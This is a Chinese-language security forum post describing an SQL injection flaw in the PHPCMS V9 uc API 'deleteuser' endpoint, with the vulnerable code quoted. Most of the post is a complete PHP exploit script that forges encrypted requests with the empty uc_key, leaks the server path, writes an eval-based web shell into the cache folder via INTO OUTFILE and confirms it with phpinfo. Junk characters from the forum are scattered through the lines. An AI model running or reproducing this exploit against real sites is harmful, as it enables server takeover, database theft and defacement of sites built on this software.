找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1949|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
' Z# {/ {" ]  z1 q/ ]* z" d0 D/ M. [. Y! Y
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
9 j* G: l7 p: v
1 ]; Z" c6 d; ]% r4 Q漏洞分析:5 U+ B( E% g* Z, W* u# n- \: \
1.未启用ucenter服务的情况下uc_key为空; k) v( @6 k7 \' N5 P: b, i  h
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
5 f2 a( z  g$ |( u& o2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。# C5 L0 B& h' P: \/ ]! b2 |( E
    public function deleteuser($get,$post) {# i' d3 Y5 e" h/ K! N% q* r) F
        pc_base::load_app_func('global', 'admin');1 u- ]$ z$ ?! q, i) l: k0 ~% o
        pc_base::load_app_class('messagequeue', 'admin' , 0);
% F$ _+ F! ^0 i9 D9 N        $ids = new_stripslashes($get['ids']);
* T* k# Y: y+ f. Y2 e        $s = $this->member_db->select("ucuserid in ($ids)", "uid");0 p# \  z. C( ^1 s' @* M8 i3 H8 G
SQL语句为
# V9 L  U! G0 _SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
9 P/ t  z: d. y* B+ y& V1 d9 c
" L! K4 Y+ }, m  G利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell6 c. A& f! s8 E. ?( S/ L( \) C
<?php
" g+ V, D1 f4 q; V& dprint_r('
0 i1 R4 G2 k6 ^0 r---------------------------------------------------------------------------# a* I$ }, k6 v+ _% R
PHPcms (v9 or Old Version) uc api sql injection 0day. @; r. }# `8 T0 n6 i8 P: @
by rayh4c#80sec.com
4 B1 T" N: Q) W8 k3 [$ B---------------------------------------------------------------------------6 Q% @* o! ]' E2 e1 O8 ~
');& m8 U* f5 D: Q, {
- T; |, ]% Y( Z
if ($argc<3) {
4 d: i7 @, x+ s4 ^; C    print_r('  y  B( `/ s' [1 P0 n& i2 x
---------------------------------------------------------------------------0 b7 u* |# q% X2 K
Usage: php '.$argv[0].' host path OPTIONS) f, m) u" Z: C, x
host:      target server (ip/hostname)' w6 g8 S7 b+ d9 Y
path:      path to phpcms
' P$ Q3 n5 _9 ^( v6 ]$ `" Q7 [Options:
3 g" m( ?1 z. x" _. h& f -p[port]:    specify a port other than 80
' a6 U9 B. {1 |, Y9 K3 o0 t -P[ip:port]: specify a proxy
: F7 R% k9 A/ u$ d/ |' zExample:
& i; J: B" j! K4 N: @php '.$argv[0].' localhost /0 i, H! l! ?2 E9 R8 R4 ^2 p: X
php '.$argv[0].' localhost /phpcms/ -p81
9 K9 i8 {/ P& Z2 A) Bphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
4 `+ ?, ?7 T3 C2 ]1 }, R---------------------------------------------------------------------------1 D9 o0 O( J" z! |/ f+ o1 |
');
7 O  h3 k/ n( g7 `    die;: H5 J2 M& j9 t+ N% h5 W
}# I9 T) `3 _. h+ J& l) _6 m8 R
; b* v$ E2 @8 m2 J/ K. ~. x
error_reporting(7);
, F, ?  q9 w* R; nini_set("max_execution_time",0);
1 @# Y0 H. P0 ~  `; F6 x2 n$ p; Mini_set("default_socket_timeout",5);
, v1 s4 K. v0 G* Z. P. O# D, T8 q
! D. \; I2 X0 W/ [3 p) y- ifunction quick_dump($string); ]$ E2 s1 O& ^7 K- R% L
{. A( i6 t1 d0 E' P# B6 n" d
  $result='';$exa='';$cont=0;
$ M7 f7 d& a; Z1 Q  M7 g! r9 L  for ($i=0; $i<=strlen($string)-1; $i++), s5 [) X! U- C' L, |" j% b
  {
: O! w& Q0 C9 c7 G* i   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+ M6 G9 G3 [9 x# A$ b! N5 I6 h   {$result.="  .";}
2 c0 ^6 D  l' F   else; [4 W0 b" d( g" w" R: U
   {$result.="  ".$string[$i];}$ Z1 i8 f; d3 O! F
   if (strlen(dechex(ord($string[$i])))==2)
$ E1 w. m: N/ P4 e% K   {$exa.=" ".dechex(ord($string[$i]));}
3 K8 f( d- K; e0 r% W1 m+ m   else
$ O; d3 ^, S( Q" W6 d' }   {$exa.=" 0".dechex(ord($string[$i]));}
6 m4 I4 O5 N% Z% q4 k: k   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}2 m) u$ p6 [/ ^0 ]7 U) r4 c
  }' f9 y! A5 ]! t
return $exa."\r\n".$result;/ a0 k, `- v+ c0 t
}
1 D. p6 |. }6 Y$ [* P4 V$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
$ h: }, V  m3 r: ?! G6 {' K7 M( z. f4 P5 n0 K$ R0 W) a
function send($packet)
8 ]. x: W1 F6 Z- w# q! R{; \0 Z" S4 n% Q
  global $proxy, $host, $port, $html, $proxy_regex;
- }2 l2 k& A$ P3 J* c$ R* I3 L  if ($proxy=='') {, `* L6 i0 ^* C- e  L
    $ock=fsockopen(gethostbyname($host),$port);+ f# \2 \. L3 W# I8 x: c
    if (!$ock) {
2 T* o5 }: g. [$ T) m# D      echo 'No response from '.$host.':'.$port; die;! d1 }2 f8 U% W1 k
    }
3 X3 S7 P4 L5 y! ]  T  }
, C3 `2 [2 H  G" k) \  else {7 y+ W/ t0 y: i3 b
        $c = preg_match($proxy_regex,$proxy);
; H4 v+ \0 C- m6 C% A2 f1 U    if (!$c) {- A0 r# F5 r3 T3 c
      echo 'Not a valid proxy...';die;
: B, \" `: c2 N0 n- |    }
  g/ p: B# y6 p$ X  w7 E; w+ U8 e) ^    $parts=explode(':',$proxy);0 T# o$ B& @% T5 ]( B& n) u6 U) v; J  T
    $parts[1]=(int)$parts[1];% T4 D2 g6 O- |9 n& j" Q
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";; O! E! ^9 n' y6 b' c2 K5 {* g
    $ock=fsockopen($parts[0],$parts[1]);8 g$ c: U: |% f. I5 X3 Z
    if (!$ock) {
- ~8 d$ {# [; x- H      echo 'No response from proxy...';die;! O" S$ O! p) s$ y, e. U( }2 L
        }
) \% |" k- F/ R  W: _$ X  }
! Y3 q; ]$ Z& E8 O$ f8 R. x1 N  fputs($ock,$packet);9 a# E& ]- H9 s# Q5 ?5 }; r/ Q. r
  if ($proxy=='') {) _8 a) t% ~" D, U+ i
    $html='';: t! `3 l, p6 u% _! O
    while (!feof($ock)) {
% D* }  W8 i- O' o      $html.=fgets($ock);7 Q* _& y: ?6 h
    }" c4 K% J" R& H
  }4 \( L  q4 `0 N! @
  else {0 E' X$ N- O8 c' ^& W
    $html='';# W1 P' q( r9 N2 P; |1 B' B3 U& c
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {0 x. Y) u8 D+ ^: m& a
      $html.=fread($ock,1);
1 Z! X3 F+ _( H+ l    }
# ~) V1 R" L" c6 J; V1 W5 o  }& x  l% n4 X$ `! H% N
  fclose($ock);
6 N0 F9 ]! a4 ?( E7 \- `. `}
; L8 s+ X% {& u3 H  Q' q: ~1 d$ ?& J5 q* |& @0 ~
$host=$argv[1];6 r6 [) U2 P' b( P; g, D) n
$path=$argv[2];) T2 H) R' J1 t3 e+ u) j4 c, S
$port=80;% i2 u2 Q5 Q7 i8 T
$proxy="";9 }- s& U5 a- G1 q- D' n
for ($i=3; $i<$argc; $i++){: c8 U" c7 N5 F: \  n
$temp=$argv[$i][0].$argv[$i][1];
$ D, S% s- Y8 x9 Aif ($temp=="-p")
9 m+ v5 I0 p0 n# \{: U3 ^% @4 ]6 j. J) G' V- h" w
  $port=(int)str_replace("-p","",$argv[$i]);
  n) I1 q3 W/ t9 r! O/ j; r2 D}
8 m* n7 h. o4 s4 s# Zif ($temp=="-P")
* M8 C1 Y' X' w. }4 T2 Z/ K{3 M2 m( n: u: @' U
  $proxy=str_replace("-P","",$argv[$i]);! y! p& V0 `5 O  D
}+ Z: f5 L3 w4 {+ O/ H
}
0 Y; \) `  ]0 E7 N) x8 h
9 {  U5 y/ h- k" Yif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
% }$ \2 h  M- b; Iif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
& H1 k( a( W4 k: Z4 w$ t
  g1 K  R" f# Nfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {) f0 Y) P$ F' Q; e
) g: k9 ]# d2 o$ t& S- B
    $ckey_length = 4;( g; g% T/ [: p8 o9 u- h* [
6 r/ J5 x7 J  J( _( a1 g& g
    $key = md5($key ? $key : '');
/ Z1 a/ }0 `# \5 x    $keya = md5(substr($key, 0, 16));
* U" @' `: S1 `6 X: \% @0 B: d  C2 G    $keyb = md5(substr($key, 16, 16));
; A6 W3 s; m8 }+ _! c    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';0 v0 v; g. P! U3 P

' ^7 V% }; Q! _- `4 j  d    $cryptkey = $keya.md5($keya.$keyc);9 G0 ?$ r  U' W& {" c
    $key_length = strlen($cryptkey);
. Y0 o9 I% ]6 t5 q9 v
- x1 C% B0 p% _6 }* U( `1 [+ c    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$ ^- m9 ~/ f8 \/ \
    $string_length = strlen($string);
4 T. k9 }0 c' f, t6 |2 L) E
; |% L& @7 ]: j' M7 ]    $result = '';4 t, x/ h6 B+ U' |! r$ v3 E" x4 U
    $box = range(0, 255);: Y- X+ `7 p5 b; ]
; A7 M( X8 X+ }
    $rndkey = array();% ^7 G% G, B, _) y- h/ Q! j
    for($i = 0; $i <= 255; $i++) {1 [: B) r# O; a( y# e* \. ^
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
/ O+ P( x( [7 j1 U7 U9 B    }+ ?" O9 n, U7 {5 s( \

5 D5 R  I& ^4 n7 d! V9 k    for($j = $i = 0; $i < 256; $i++) {
7 K* m" |0 |+ M" I8 [+ f        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
0 w* |! z0 j2 X7 k1 E( B. Q9 n        $tmp = $box[$i];) Q- d; O9 n2 R% P9 Z$ e% C0 w# X
        $box[$i] = $box[$j];
/ g3 I% m' {7 ]$ ?2 E0 K4 {        $box[$j] = $tmp;
! R- \5 M# U# H    }& p, K: b/ C7 J# f+ T

; O' V2 [. @5 z+ C& T+ ^$ T, D: u    for($a = $j = $i = 0; $i < $string_length; $i++) {
( W9 Y0 ]. m( G3 J& |& d        $a = ($a + 1) % 256;
3 O9 b0 o5 [8 s' W2 Y6 g        $j = ($j + $box[$a]) % 256;
% k  s7 W( V* Y        $tmp = $box[$a];1 V+ h) D! w7 l
        $box[$a] = $box[$j];
8 u4 y+ C  G5 I+ l# }        $box[$j] = $tmp;
" `3 v! i: U% m1 x5 k        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));4 A& b7 u/ Q. A; e! b& {+ C3 ~
    }
- Z5 H7 {( T# K' O& }" i
4 {+ Q. j; U% M( A* M% Y  ~$ |    if($operation == 'DECODE') {
( F( ~' @, [# _7 ~        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
0 P* b' {( ?( c) }- m) b" I! o            return substr($result, 26);
, |  t& u! k1 L3 @+ X        } else {
6 k; r: V& g! x1 `9 a) d9 F) o5 m            return '';! o% S- m( q# Q% f6 B' N2 g; e* V
        }
4 g1 Z5 [( {6 ^6 T  U$ K2 L; Y    } else {4 B4 |. A$ L  w  k4 Q9 M6 O
        return $keyc.str_replace('=', '', base64_encode($result));
( Z4 D7 H7 l. P( O/ O+ W( W    }% u% Y( Z% r; r+ m3 o

8 q  D) k$ ~3 j}
$ A5 O% Z# R9 S) `  ^2 I& H$ P0 w/ d1 Q+ N, _
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";  _! M& @  m( `" E$ `! t: s0 k
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
7 m6 `3 f6 ]; eecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";: Q# s5 [# e8 j& e6 D* T& _3 l
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
: R- T9 L4 ~' k5 j. Y! n) @9 y/ a$packet.="User-Agent: Mozilla/5.0\r\n";$ S/ H, t7 h  D9 [1 @  a$ M5 j
$packet.="Host: ".$host."\r\n";
3 }' ?- \2 ]0 x( P$packet.="Connection: Close\r\n\r\n";
1 m6 ]' c* O+ e" h) _send($packet);0 l/ O; w( r( Z7 B6 ]: p
if(strpos($html,"MySQL Errno") > 0){
; z4 F# u1 q6 S1 m5 W/ K1 R! lecho "[2] 发现存在SQL注入漏洞"."\n";- A5 h1 s* H* X1 d
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";. q: J. p& L/ n: B1 M
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
9 {" u  a& [* D9 u$packet.="User-Agent: Mozilla/5.0\r\n";
' D5 d6 m  U6 V, G0 b/ l$packet.="Host: ".$host."\r\n";8 D* v, h  l. k2 K3 m- B5 D$ h
$packet.="Connection: Close\r\n\r\n";% d. f5 e& p* _3 M6 F
send($packet);2 u5 T. U+ n$ W0 s
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);7 R" W. `8 @$ D! c( _% b7 s
//print_r($matches);
( }1 A2 A7 }# e6 dif(!empty($matches)){
1 g! @1 H: X7 E; |$ N; Hecho "[4] 得到web路径 " . $matches[0]."\n";6 Y3 i" Z7 I4 I- w; I
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
1 @( Q3 @4 Y& R- w7 S6 T" a& |8 a, i$SQL = "time=999999999999999999999999&ids=1)";
; ~! }" \& ^* H% b$ D' w$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
+ a: D0 S0 f9 p! y8 Y) V# x$SQL.="&action=deleteuser";
% c8 e) u: i  Q+ @" f$SQL = urlencode(authcode($SQL, "ENCODE", ""));. H8 M' r7 ]7 f2 @( T$ q" y
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";  K# ], n, p+ s) F+ a9 K
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
& x3 \4 u3 I6 O. Z8 B$packet.="User-Agent: Mozilla/5.0\r\n";
5 {6 K8 |) Q- x$packet.="Host: ".$host."\r\n";5 I3 @3 O, y! D1 W8 C8 n- q  s+ p
$packet.="Connection: Close\r\n\r\n";
$ M" ?6 P8 P2 Q" l$ osend($packet);
9 m( U9 o  X9 f0 [; @( cif(strpos($html,"Access denied") > 0){
3 j$ P( v% z& o9 n) kecho "[-] MYSQL权限过低 禁止写入文件 ";
& y7 S5 n8 m; [3 Xdie;; b% i# `5 z( A$ C- a& ?- ~
}
! F' m& A: q  B" Vecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
7 @% T$ h; C6 W5 g2 ^) k) x$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";6 k7 ?5 [+ d, T% v
$packet.="User-Agent: Mozilla/5.0\r\n";
, Q% c1 y) v, g% ^3 B% ]. P$packet.="Host: ".$host."\r\n";
; s6 X) l0 c4 y9 Z; y; E$packet.="Connection: Close\r\n\r\n";
- W8 l7 ^( u8 ^. wsend($packet);+ B$ H1 ^9 f# @1 H. i+ I0 g
if(strpos($html,"<title>phpinfo()</title>") > 0){
9 ]9 \0 J7 h+ w! iecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";6 `! C% R: W7 W# z
}$ ~# Q0 s5 M6 _4 ?# l$ ~
}else{$ y" H% I& V  T
echo "[-]未取到web路径 ";, s' c- P/ M+ p9 L) w; G8 p+ @7 J
}4 W" i2 |0 T- T& X. n
}else{. c# A# ]# `- B
echo "[*]不存在SQL注入漏洞"."\n";
) w: V4 Z. m+ Z7 T) e2 S9 Y}* Z& G4 A- u) z  J

3 w- S# V' E$ q& y?>
6 E- \$ X6 l$ N7 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表